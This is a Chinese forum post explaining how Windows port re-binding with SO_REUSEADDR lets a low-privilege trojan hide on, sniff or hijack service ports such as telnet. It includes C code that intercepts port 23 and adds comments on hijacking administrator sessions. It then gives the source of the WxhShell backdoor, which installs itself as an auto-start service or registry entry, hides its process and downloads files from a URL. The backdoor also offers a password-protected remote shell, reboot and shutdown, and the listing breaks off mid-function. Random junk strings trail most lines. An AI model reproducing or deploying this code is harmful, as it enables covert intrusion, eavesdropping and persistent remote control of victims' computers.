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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: '5|Q<5!o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >i^y;5  
8>C; >v  
  saddr.sin_family = AF_INET; AzLbD2Pl  
N?MJ#lC F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tIn7(C  
[;>zqNy  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -/ (DP x  
!Iw{Y'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {] t\`fjrg  
LK'S)Jk  
  这意味着什么?意味着可以进行如下的攻击: fhBO~o+K>  
@<@R=aqE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;n(#b8r9  
ua]\xBWx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (SgEt  
%JP&ox|^&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (cOND/S  
no~OR Q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `^ieT#(O  
wx]+*Lzz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8ktjDs$=.:  
A }>|tm7|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nUI63?  
t*Z .e.q+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kPx]u\  
P#dG]NMf  
  #include baUEsg[~V  
  #include J6*\>N5W  
  #include {pcf;1^t  
  #include    LY@1@O2@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9TYw@o5V  
  int main() E5,%J  
  { A&NC0K}G!  
  WORD wVersionRequested; D\45l  
  DWORD ret; ifJv~asp   
  WSADATA wsaData; J[j/aDdP  
  BOOL val; v7{ P].M  
  SOCKADDR_IN saddr; I2t-D1X  
  SOCKADDR_IN scaddr; nvO%  
  int err; EuKrYY]g  
  SOCKET s; Z/V`Z* fy  
  SOCKET sc; UA69_E{JCH  
  int caddsize; LW83Y/7  
  HANDLE mt; _/QKWk&j  
  DWORD tid;   rQd1Ch  
  wVersionRequested = MAKEWORD( 2, 2 ); boC>N   
  err = WSAStartup( wVersionRequested, &wsaData ); ?J^IAF y  
  if ( err != 0 ) { 'NQMZfz  
  printf("error!WSAStartup failed!\n"); mr{k>Un\  
  return -1; %:'1_@Ot 2  
  } Hm+6QgCs  
  saddr.sin_family = AF_INET; ZXssvjWQV}  
   4*N@=v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [3{:H"t  
dU sJv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /?.r!Cp  
  saddr.sin_port = htons(23);  m+72C]9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z) ]BV=  
  { |!4B Wt  
  printf("error!socket failed!\n"); G<">/_jn  
  return -1; z{D$~ ob  
  } \28b_,i+  
  val = TRUE; ~# hE&nq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )E[ Q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M\Uc;:) H  
  { 2HvTM8  
  printf("error!setsockopt failed!\n"); FT3,k&i  
  return -1; ~n8Oyr  
  } PK.h E{R  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {|Mxvp*Hg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xoz*UA.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,%)WT>  
&;NNU T>Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @mQ/W Ys  
  { (?*mh?  
  ret=GetLastError(); QN2*]+/h  
  printf("error!bind failed!\n"); LhVLsa(-%  
  return -1; DiGUxnP  
  } uusY,Dt/9  
  listen(s,2); :N*q;j>  
  while(1) $ sA~p_]  
  { K d`l[56#  
  caddsize = sizeof(scaddr); +e\:C~2f28  
  //接受连接请求 <M =W)2D7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zal3j^  
  if(sc!=INVALID_SOCKET) DMK"Q#Vw  
  { '$kS]U  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); tvj'{W  
  if(mt==NULL)  hZss  
  { G +nY}c  
  printf("Thread Creat Failed!\n"); VxPTh\O*[  
  break; <750-d!  
  } <@x+N%C  
  } RBv=  
  CloseHandle(mt); mk[d7Yt{O  
  } iaa (ce  
  closesocket(s); \fM!^  
  WSACleanup(); m|#(gX|F  
  return 0; ]mD=Br*r~  
  }   8ZNd|\  
  DWORD WINAPI ClientThread(LPVOID lpParam) &23ss/  
  { COkLn)+0  
  SOCKET ss = (SOCKET)lpParam; ( 7Ca\H3$  
  SOCKET sc; /k3n{ ?$/  
  unsigned char buf[4096]; ?^G$;X7B  
  SOCKADDR_IN saddr;  a`h$lUb-  
  long num; ZAnO$pA  
  DWORD val; 4Ow Vt&  
  DWORD ret; @|\s$L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gE6y&a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *NwKD:o  
  saddr.sin_family = AF_INET; kGBl)0pr`x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 66"ZH,335  
  saddr.sin_port = htons(23); {C0OrO2:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j_ywG{Jk  
  { G"UH4n[1ur  
  printf("error!socket failed!\n"); I8-&.RE  
  return -1; QLpTz"H  
  } *>&N t  
  val = 100; K_lCDiqG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9V4V}[%  
  { On96N|  
  ret = GetLastError(); c;t(j'k`  
  return -1; eed\0  
  } P+zI9~N[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @x-GbK?  
  { 5f`XFe$8  
  ret = GetLastError(); cnUU1Uz>  
  return -1; }~\].I6  
  } H{tOCYyD  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g!kRa.`u1  
  { 7q{v9xKy  
  printf("error!socket connect failed!\n"); @SQ*/sw (c  
  closesocket(sc); ~cg+BAfu  
  closesocket(ss); W*/s4 N  
  return -1; _I70qz8  
  } KxTYc  
  while(1) _^2[(<Gmv  
  { $85o%siS'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3xCA\*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  9jzLXym  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 CyBM4qyH  
  num = recv(ss,buf,4096,0); 23n8,} H,  
  if(num>0) WCfe!P?g  
  send(sc,buf,num,0); G'}_ZUy#  
  else if(num==0) &LxzAL,3!  
  break; / jL{JF>I  
  num = recv(sc,buf,4096,0); RVKaqJ0e<  
  if(num>0) ^%OH}Z`ly  
  send(ss,buf,num,0); K/.hJ  
  else if(num==0) !\k#{ 1[!  
  break; y88}f&z#5  
  } X9`C2fyVd  
  closesocket(ss); Xi`U`7?D(=  
  closesocket(sc); 1oW]O@R  
  return 0 ; uA}FuOE6  
  } d<cbp [3F  
Exs _LN  
[\M?8R$)  
========================================================== ! {o+B^^  
PM?Ri^55<L  
下边附上一个代码,,WXhSHELL ` Ehgn?6'  
}Yl8Q>t  
========================================================== b yreleWo  
o  >4>7  
#include "stdafx.h" U+A(.+d.  
[6gHi.`p'  
#include <stdio.h> %Ja{IWz9L  
#include <string.h> @/2wmza%2  
#include <windows.h> E#V-F-@2  
#include <winsock2.h> fD}]Mi:V  
#include <winsvc.h> <.%8j\j(  
#include <urlmon.h> j 8AR#  
68br  
#pragma comment (lib, "Ws2_32.lib") {|wTZ  
#pragma comment (lib, "urlmon.lib") 9M~$W-5  
\,#4+&4b  
#define MAX_USER   100 // 最大客户端连接数 8}`8lOE7  
#define BUF_SOCK   200 // sock buffer .Fz6+m;Z  
#define KEY_BUFF   255 // 输入 buffer 8JO\%DFJ  
2uR4~XjF  
#define REBOOT     0   // 重启 sL`D}_:  
#define SHUTDOWN   1   // 关机 6o23#JgN  
mt]YY<l  
#define DEF_PORT   5000 // 监听端口 wU3ica&[   
Jz8#88cY  
#define REG_LEN     16   // 注册表键长度 7ofH@U  
#define SVC_LEN     80   // NT服务名长度 #w?%&,Kp  
z)y(31K<1  
// 从dll定义API  >33b@)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LUVJ218p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nk,Mo5iqV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T`<k4ur  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `e;Sjf<  
ZTz(NS EK  
// wxhshell配置信息 x3F L/^S  
struct WSCFG { Us~wv"L=UX  
  int ws_port;         // 监听端口 QS?9&+JM|  
  char ws_passstr[REG_LEN]; // 口令 /%'7sx[p  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y~ ?YA/.x  
  char ws_regname[REG_LEN]; // 注册表键名 Y0C<b*!"ST  
  char ws_svcname[REG_LEN]; // 服务名 N<r0I-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X10TZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <1%XN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ieoUZCO^r\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =` >Nfa+,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F88SV6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~(P\F&A(&  
>h-6B=  
}; .{ Lm  
3'uES4+r  
// default Wxhshell configuration YZu# 0)  
struct WSCFG wscfg={DEF_PORT, #Z 5Wk  
    "xuhuanlingzhe", 3>3ZfFC  
    1, KEB>}_[  
    "Wxhshell", /FZ )ej\  
    "Wxhshell", tD482Sb=  
            "WxhShell Service", nE.s  
    "Wrsky Windows CmdShell Service", bGnJ4R3J  
    "Please Input Your Password: ", eb woMG,B-  
  1, hUvH t+d  
  "http://www.wrsky.com/wxhshell.exe", %pKs- n`  
  "Wxhshell.exe" h0QQP  
    }; AQGE(%X  
Os]M$c_88  
// 消息定义模块 ?bi^h/ f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D4S?b ZFHo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6>7LFV1tvy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HpSf I7  
char *msg_ws_ext="\n\rExit."; lFt{:HfX-  
char *msg_ws_end="\n\rQuit."; 5]ob;tAm  
char *msg_ws_boot="\n\rReboot..."; e%7P$.  
char *msg_ws_poff="\n\rShutdown..."; aV#;o9H{  
char *msg_ws_down="\n\rSave to "; 9cPucKuj  
"Z?":|%7  
char *msg_ws_err="\n\rErr!"; :WTvP$R  
char *msg_ws_ok="\n\rOK!"; S$:S*6M@"  
iJ#oI@s  
char ExeFile[MAX_PATH]; QZP;k!"w  
int nUser = 0; E1[%~Cpw*  
HANDLE handles[MAX_USER]; Ykq }9  
int OsIsNt; $)a5;--W  
OtqLigt&l  
SERVICE_STATUS       serviceStatus; .b)(_*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pMrf i}esx  
< VsZ$  
// 函数声明 ~/[N)RFD  
int Install(void); ds[~Cp   
int Uninstall(void); ZWW}r~d{  
int DownloadFile(char *sURL, SOCKET wsh); pDN,(Ip  
int Boot(int flag); W]]2Uo.  
void HideProc(void); t $%}*@x7  
int GetOsVer(void); [$+61n}.12  
int Wxhshell(SOCKET wsl); h"m7r4f  
void TalkWithClient(void *cs); 9peB+URV  
int CmdShell(SOCKET sock); v65r@)\`  
int StartFromService(void); K",]_+b  
int StartWxhshell(LPSTR lpCmdLine); cne[-E  
sTYl' Ieg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1 .k}gl0<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~kFRy{z  
_~<TAFBr  
// 数据结构和表定义 uf3 gVS_h=  
SERVICE_TABLE_ENTRY DispatchTable[] = Stx-(Kfn4  
{ .6(i5K  
{wscfg.ws_svcname, NTServiceMain}, l,8| E  
{NULL, NULL} #r}c<?>Vw  
}; ovVU%2o1b  
}RK9Onh3G  
// 自我安装 Jrl xa3 [  
int Install(void) >rGlj  
{ ,PAKPX9v_F  
  char svExeFile[MAX_PATH]; G _o4A:2  
  HKEY key;  3".W  
  strcpy(svExeFile,ExeFile); >?x Vr  
'1*MiFxKq  
// 如果是win9x系统,修改注册表设为自启动 Dne&YVF9V  
if(!OsIsNt) { <VPtbM@(m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1yf&ck1R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H[oi? {L  
  RegCloseKey(key); 3<lDsb(}0A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yV`vu/3K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /iy/2x28>  
  RegCloseKey(key); @UBp;pb}=h  
  return 0; ]sE^=;Pv?  
    } b`=rd 4cpU  
  } 9bvd1bKEW  
} N/p_6GYMa  
else { v<**GW]neD  
A O]e^Q  
// 如果是NT以上系统,安装为系统服务 Y6Q6--P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XoOe=V?I )  
if (schSCManager!=0) c Ix(;[U  
{ KcE=m\h  
  SC_HANDLE schService = CreateService J0o[WD$A x  
  ( U[u6UG  
  schSCManager, _l<"Qqt  
  wscfg.ws_svcname, PV Q%y  
  wscfg.ws_svcdisp, bSzb! hT`  
  SERVICE_ALL_ACCESS, `WL*Jb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?,[w6O*  
  SERVICE_AUTO_START, ujBADDwOg)  
  SERVICE_ERROR_NORMAL, uWQ.h ,  
  svExeFile, ==9Ez  
  NULL, B7C6Mau  
  NULL, co|0s+%PBq  
  NULL, N11am  
  NULL, %0'f`P6  
  NULL oKiu6=  
  ); +ZO*~.zZ  
  if (schService!=0) t@v8>J%K  
  { ;!b(b%  
  CloseServiceHandle(schService); FeJ5^Gh.  
  CloseServiceHandle(schSCManager); s,8%;\!C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !LA#c'  
  strcat(svExeFile,wscfg.ws_svcname); ] a()siT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #t*c*o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hR2.w/2j  
  RegCloseKey(key); K(Nk|gQ  
  return 0; XafyI*pOX  
    } E&AR=yqk  
  } $6[]c)(  
  CloseServiceHandle(schSCManager); X;0@41t'  
} jTJ[2WaS  
} :4dili4|/  
Y,r2m nq  
return 1; SQ[}]Tm;n  
} . j },  
hB4.tMgZ  
// 自我卸载 -_dgd:or  
int Uninstall(void) 1['A1 ,  
{ c1f6RCu$b  
  HKEY key; '_%Jw:4k  
1Ppzch7  
if(!OsIsNt) { wKN9HT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ( KrIMZ  
  RegDeleteValue(key,wscfg.ws_regname); _<$=n6#  
  RegCloseKey(key); \`^jl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +y2*[  
  RegDeleteValue(key,wscfg.ws_regname); @QofsWC  
  RegCloseKey(key); Q] HRg4r  
  return 0; ?bEYvHAzg  
  } L r,$98Dy  
} w@4+&v>O  
} YZ}gZQ.A0  
else { ^/,s$dj  
"(5}=T@,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D'X'h}+2  
if (schSCManager!=0) y\:2Re/*Jt  
{ w;:,W@K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H0S7k`.  
  if (schService!=0) VQCPgs  
  { K{c^.&6D  
  if(DeleteService(schService)!=0) { XpGom;z^c  
  CloseServiceHandle(schService); [O3R(`<e5  
  CloseServiceHandle(schSCManager); F^ f]*MhT"  
  return 0; (0S"ZT  
  } lZ|Ao0(  
  CloseServiceHandle(schService); &xVWN>bd^  
  } ifkA3]  
  CloseServiceHandle(schSCManager); 0-FbV,:;  
} +RM3EvglDQ  
} cGD A0#r  
(8{Z@  
return 1; (]JJ?aAF  
} %+.]>''a  
S'WmPv  
// 从指定url下载文件 _MR2,mC  
int DownloadFile(char *sURL, SOCKET wsh) >2rFURcD  
{ z<ek?0?yS  
  HRESULT hr; 1_' ZbZv4h  
char seps[]= "/"; tnsYY  
char *token; &sW/r::,  
char *file; v-kH7H"z  
char myURL[MAX_PATH]; ~ M"[FYw[  
char myFILE[MAX_PATH]; +$9w[ARN+  
}K/[3X=B  
strcpy(myURL,sURL); -vMP{,  
  token=strtok(myURL,seps); 'K`)q6m  
  while(token!=NULL) #X)s=Y&5!T  
  { m=R4A4Y7  
    file=token; j6\{j#q  
  token=strtok(NULL,seps); I%ez_VG  
  } Lh+^GQ  
BdceINI  
GetCurrentDirectory(MAX_PATH,myFILE); $6_J` 7  
strcat(myFILE, "\\"); \6N\6=t!A  
strcat(myFILE, file); YC$pT  
  send(wsh,myFILE,strlen(myFILE),0); 6O"0?wG+  
send(wsh,"...",3,0); &^}w|J?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '? d[ ip  
  if(hr==S_OK) HdGy$m`  
return 0; ev; &$Hc  
else Bg3^BOT  
return 1; @=9QV3D  
W&"FejD  
} f; 22viE  
~6OdPD  
// 系统电源模块 NENbr$,G  
int Boot(int flag) {\%x{  
{ .VI2V-Q  
  HANDLE hToken; Un<~P@T%  
  TOKEN_PRIVILEGES tkp; 'HC4Q{b`  
4fN<pG,  
  if(OsIsNt) { jQc0_F\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kqy Y:J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Jlzhn#5c-  
    tkp.PrivilegeCount = 1; }/=VnCfU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NZl0sX.:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ur'A;B  
if(flag==REBOOT) { GUK/Xiu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q[+];  
  return 0; |HL1.;1  
} \dP2xou=  
else { ak'RV*>mT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ThHK1{87X}  
  return 0; M]&9Kg3   
} <mpkkCl,  
  } ;xb:{?  
  else { j3FDGDrg  
if(flag==REBOOT) { (BJs6":BFe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `'g%z: ~  
  return 0; DukCXyB*l  
} ?(mlt"tPk  
else { -O ej6sILO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?&Lb6(}e  
  return 0; /JvNJ f  
} kY*D s;  
} Pp}j=$&j\  
`=FfzL  
return 1; X&K1>dgWP  
} $FD0MrB_+  
N[AX29  
// win9x进程隐藏模块 #vIF]Y  
void HideProc(void) IQR?n}ce  
{ wc ^z9y  
S3 &L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?gTY! ;$P  
  if ( hKernel != NULL ) M*t{?o/t;  
  { RhYf+?2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nlJxF5/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Fd3V5h  
    FreeLibrary(hKernel); N5 g!,3  
  } 0{ \AP<  
Q|;8\5  
return; iLgWzA  
} Yw./V0Z{@  
'(ql7  
// 获取操作系统版本 q),yY]5  
int GetOsVer(void) JD,/oL.KA  
{ A9[l5E  
  OSVERSIONINFO winfo; 32dR`qb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3]V" 9+  
  GetVersionEx(&winfo); Uc6P@O*,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CY9`ztO*  
  return 1;  Qq>M}  
  else )Wgh5C`  
  return 0; j134iVF%  
} Z:5e:M  
iEnDS@7  
// 客户端句柄模块 m&fm<?|  
int Wxhshell(SOCKET wsl) $+-2/=>Xk  
{ ,zO!`|I  
  SOCKET wsh; ,\ov$biL  
  struct sockaddr_in client; bKiV<&Z5d  
  DWORD myID;  w;)@2}  
.h{`e>d  
  while(nUser<MAX_USER) B!6?+< J"  
{ yyG:Kl  
  int nSize=sizeof(client); G 9d@vu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O TSbhI'v  
  if(wsh==INVALID_SOCKET) return 1; .I<#i9Le  
I)T]}et  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ub0g{   
if(handles[nUser]==0) *GD?d2.6j  
  closesocket(wsh); R0 AVAUG  
else <w<&,xM  
  nUser++; p"3_u;cN  
  } ~^ Q`dJL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !5&% P b  
hjs[$ ,1  
  return 0; fp u^  
} K8f;AK  
Wu?4oF  
// 关闭 socket 9*U3uyPi  
void CloseIt(SOCKET wsh) Yq}(O<ol  
{ $3w a%"  
closesocket(wsh); +O2T%  
nUser--; @LqLtr@A  
ExitThread(0); L^!E4[ ^4  
} a}EO7tcg,  
1UT&kD!si  
// 客户端请求句柄 z q _*)V  
void TalkWithClient(void *cs) iW9G0Ay  
{ '+JU(x{CCl  
M|6 l  
  SOCKET wsh=(SOCKET)cs; B^Fe.ty  
  char pwd[SVC_LEN]; 1>|2B&_^  
  char cmd[KEY_BUFF]; 5Z@OgR  
char chr[1]; #Fm,mO$v  
int i,j; \%g# __\  
XcD$xFDZ  
  while (nUser < MAX_USER) { #|ETH;HM  
@Ge\odfF:  
if(wscfg.ws_passstr) { Q!9AxM2K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2= S;<J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Db3# ;  
  //ZeroMemory(pwd,KEY_BUFF); 1<IF@__  
      i=0; Bs:INvhYW  
  while(i<SVC_LEN) { q &]I  
xJlf}LEyF  
  // 设置超时 68 vu  
  fd_set FdRead; 8A}cxk  
  struct timeval TimeOut; AXFQd@#  
  FD_ZERO(&FdRead); ^~XsHmcQ  
  FD_SET(wsh,&FdRead); cdY|z]B  
  TimeOut.tv_sec=8; > PHin%#  
  TimeOut.tv_usec=0; FX}kH]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =Kqb V{!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <#HQU<  
ROqz$yY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VI_8r5o  
  pwd=chr[0]; X+dLk(jI`u  
  if(chr[0]==0xd || chr[0]==0xa) { 1g<jr.  
  pwd=0; -!4Mmp"2@u  
  break; 1<766  
  } h0ml#A`h  
  i++; U|yXJ.Z3  
    } \k&2nYVHf  
KFZ2%:6>  
  // 如果是非法用户,关闭 socket QmxI ;l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ->_rSjnM{  
} *ETSx{)8  
))ArM-02  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]l/ PyX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H;D 5)eJ90  
N=%4V  
while(1) { "=H(\ V  
0Ez(;4]3  
  ZeroMemory(cmd,KEY_BUFF); + xYU$e6Z  
{Qv Whf  
      // 自动支持客户端 telnet标准   pg0Sq9qCN  
  j=0; *,az`U  
  while(j<KEY_BUFF) { b5!D('w>]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .! 'SG6 q  
  cmd[j]=chr[0]; MEKsL7  
  if(chr[0]==0xa || chr[0]==0xd) { Q^trKw~XNy  
  cmd[j]=0; VCf/EkC  
  break; oyC5M+shP9  
  } VkW N1A  
  j++; `|&#=hl~  
    } 7F$G.LhMw  
2;2FyKF(  
  // 下载文件 Iy[TEB  
  if(strstr(cmd,"http://")) { D[i?T3i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }o,-@R~  
  if(DownloadFile(cmd,wsh)) g$S|CqRG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %7}ibz4iF  
  else tleWJR8oc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "@ 1+l&  
  } FW=`Fm@z%%  
  else { ?cur}`  
!a9`]c  
    switch(cmd[0]) { 4J5 RtK  
  FHOF 6}if  
  // 帮助 X iW~? *Z  
  case '?': { X\Gbs=sf6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Gv\39+9 =  
    break; i0q<,VSl$_  
  } lD9QS ;  
  // 安装 0Ba*"/U]t~  
  case 'i': { oU`{6 ~;  
    if(Install()) 2p|ed=ly%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )JA9bR <  
    else y?Cq{(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2r^G;,{  
    break; ;X;q8J^_K_  
    } {J~VB~('  
  // 卸载 OrP i ("/  
  case 'r': { BWF>;*Xro  
    if(Uninstall()) !FA[ ]d4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -4Hf5!  
    else ZVIlVuZ}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y?P4EVknM3  
    break; >S}^0vNZX  
    } +d!"Zy2|B  
  // 显示 wxhshell 所在路径 &iI5^b-P  
  case 'p': { ssY5g !%  
    char svExeFile[MAX_PATH]; |\BxKwS^  
    strcpy(svExeFile,"\n\r"); 7 MZ(tOR  
      strcat(svExeFile,ExeFile); 328gTP1  
        send(wsh,svExeFile,strlen(svExeFile),0); CpLLsphy  
    break; ;Z6ngS  
    } B>r>z5  
  // 重启 sD=iHO Am  
  case 'b': { [cso$Tv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6^vz+oN  
    if(Boot(REBOOT)) ~{cG"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b=PB"-  
    else { +yd{-iH  
    closesocket(wsh); B%(-UTQf  
    ExitThread(0); | Kw}S/F  
    } rO[ Zx'a  
    break;  Uys[0n  
    } ~5:-;ZbZ  
  // 关机 0zc~!r~  
  case 'd': { <wTD}.n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0#: St  
